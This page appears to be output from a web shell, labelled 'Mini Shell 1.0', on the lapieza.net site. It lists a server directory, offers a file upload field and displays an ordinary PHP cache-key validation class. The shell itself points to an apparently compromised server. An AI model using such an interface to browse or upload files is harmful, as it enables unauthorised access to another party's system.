HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/vendor/beste/in-memory-cache/src/
Upload File :
Current File : /var/www/devs.lapieza.net/vendor/beste/in-memory-cache/src/CacheKey.php
<?php

namespace Beste\Cache;

/**
 * @internal
 */
final class CacheKey
{
    private function __construct(private readonly string $value) {}

    public static function fromString(string $value): self
    {
        if (preg_match('/^[a-zA-Z0-9_.-]+$/u', $value) !== 1) {
            throw InvalidArgument::invalidKey();
        }

        return new self($value);
    }

    public function toString(): string
    {
        return $this->value;
    }
}